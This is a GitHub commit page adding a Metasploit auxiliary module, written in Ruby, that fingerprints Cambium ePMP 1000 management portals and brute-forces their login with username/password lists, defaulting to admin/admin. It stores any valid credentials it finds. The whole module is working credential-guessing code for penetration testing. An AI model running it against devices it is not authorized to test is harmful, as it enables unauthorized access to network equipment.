Skip to content

Commit c15b77c

Browse files
committed
Add Cambium ePMP 1000 Login Scanner module
1 parent 7585999 commit c15b77c

File tree

1 file changed

+188
-0
lines changed

1 file changed

+188
-0
lines changed
Lines changed: 188 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,188 @@
1+
## Final copy
2+
##
3+
# This module requires Metasploit: http://metasploit.com/download
4+
# Current source: https://github.com/rapid7/metasploit-framework
5+
##
6+
7+
require 'msf/core'
8+
require 'cgi'
9+
10+
class MetasploitModule < Msf::Auxiliary
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Auxiliary::AuthBrute
13+
include Msf::Auxiliary::Report
14+
include Msf::Auxiliary::Scanner
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => 'Cambium ePMP 1000 Login Scanner',
19+
'Description' => %{
20+
This module scans for Cambium ePMP 1000 management login portal(s), and attempts to identify valid credentials.
21+
22+
},
23+
'Author' =>
24+
[
25+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
26+
],
27+
'License' => MSF_LICENSE,
28+
'DefaultOptions' => { 'VERBOSE' => true }
29+
))
30+
31+
register_options(
32+
[
33+
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
34+
OptString.new('USERNAME', [false, "A specific username to authenticate as", "admin"]),
35+
OptString.new('PASSWORD', [false, "A specific password to authenticate with", "admin"])
36+
], self.class)
37+
end
38+
39+
def run_host(ip)
40+
unless is_app_epmp1000?
41+
return
42+
end
43+
44+
each_user_pass do |user, pass|
45+
do_login(user, pass)
46+
end
47+
48+
end
49+
50+
def report_cred(opts)
51+
service_data = {
52+
address: opts[:ip],
53+
port: opts[:port],
54+
service_name: opts[:service_name],
55+
protocol: 'tcp',
56+
workspace_id: myworkspace_id
57+
}
58+
59+
credential_data = {
60+
origin_type: :service,
61+
module_fullname: fullname,
62+
username: opts[:user],
63+
private_data: opts[:password],
64+
private_type: :password
65+
}.merge(service_data)
66+
67+
login_data = {
68+
last_attempted_at: Time.now,
69+
core: create_credential(credential_data),
70+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
71+
proof: opts[:proof]
72+
}.merge(service_data)
73+
74+
create_credential_login(login_data)
75+
end
76+
77+
#
78+
# Check if App is Cambium ePMP 1000
79+
#
80+
81+
def is_app_epmp1000?
82+
begin
83+
res = send_request_cgi(
84+
{
85+
'uri' => '/',
86+
'method' => 'GET'
87+
})
88+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
89+
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
90+
return false
91+
end
92+
93+
if (res and res.code == 200 and res.headers['Server'] and (res.headers['Server'].include?("Cambium HTTP Server") or res.body.include?("cambiumnetworks.com")))
94+
95+
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
96+
epmp_ver = get_epmp_ver[1]
97+
98+
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
99+
100+
return true
101+
else
102+
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
103+
return false
104+
end
105+
end
106+
107+
#
108+
# Brute-force the login page
109+
#
110+
111+
def do_login(user, pass)
112+
print_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
113+
begin
114+
115+
res = send_request_cgi(
116+
{
117+
'uri' => '/cgi-bin/luci',
118+
'method' => 'POST',
119+
'headers' => {'X-Requested-With' => 'XMLHttpRequest','Accept' => 'application/json, text/javascript, */*; q=0.01'},
120+
'vars_post' =>
121+
{
122+
'username' => 'dashboard',
123+
'password' => ''
124+
}
125+
})
126+
127+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
128+
vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")
129+
return :abort
130+
end
131+
132+
if (res and res.code == 200 and res.headers.include?("Set-Cookie") and res.headers['Set-Cookie'].include?("sysauth"))
133+
134+
get_cookie = res.headers['Set-Cookie']
135+
136+
get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
137+
stok_value = get_stok[1]
138+
139+
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
140+
141+
cookie1 = "#{sysauth_value}; "+"globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
142+
143+
res = send_request_cgi(
144+
{
145+
'uri' => '/cgi-bin/luci',
146+
'method' => 'POST',
147+
'cookie' => cookie1,
148+
'headers' => {
149+
'X-Requested-With' => 'XMLHttpRequest',
150+
'Accept' => 'application/json, text/javascript, */*; q=0.01',
151+
'Connection' => 'close'
152+
},
153+
'vars_post' =>
154+
{
155+
'username' => user,
156+
'password' => pass
157+
}
158+
})
159+
160+
end
161+
162+
if (res and res.code == 200 and res.headers.include?("Set-Cookie") and res.headers['Set-Cookie'].include?("stok="))
163+
164+
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
165+
166+
# Extract ePMP version
167+
res = send_request_cgi(
168+
{
169+
'uri' => '/',
170+
'method' => 'GET'
171+
})
172+
173+
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
174+
epmp_ver = get_epmp_ver[1]
175+
176+
report_cred(
177+
ip: rhost,
178+
port: rport,
179+
service_name: "Cambium ePMP 1000 version #{epmp_ver}",
180+
user: user,
181+
password: pass
182+
)
183+
184+
else
185+
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
186+
end
187+
end
188+
end

0 commit comments

Comments
 (0)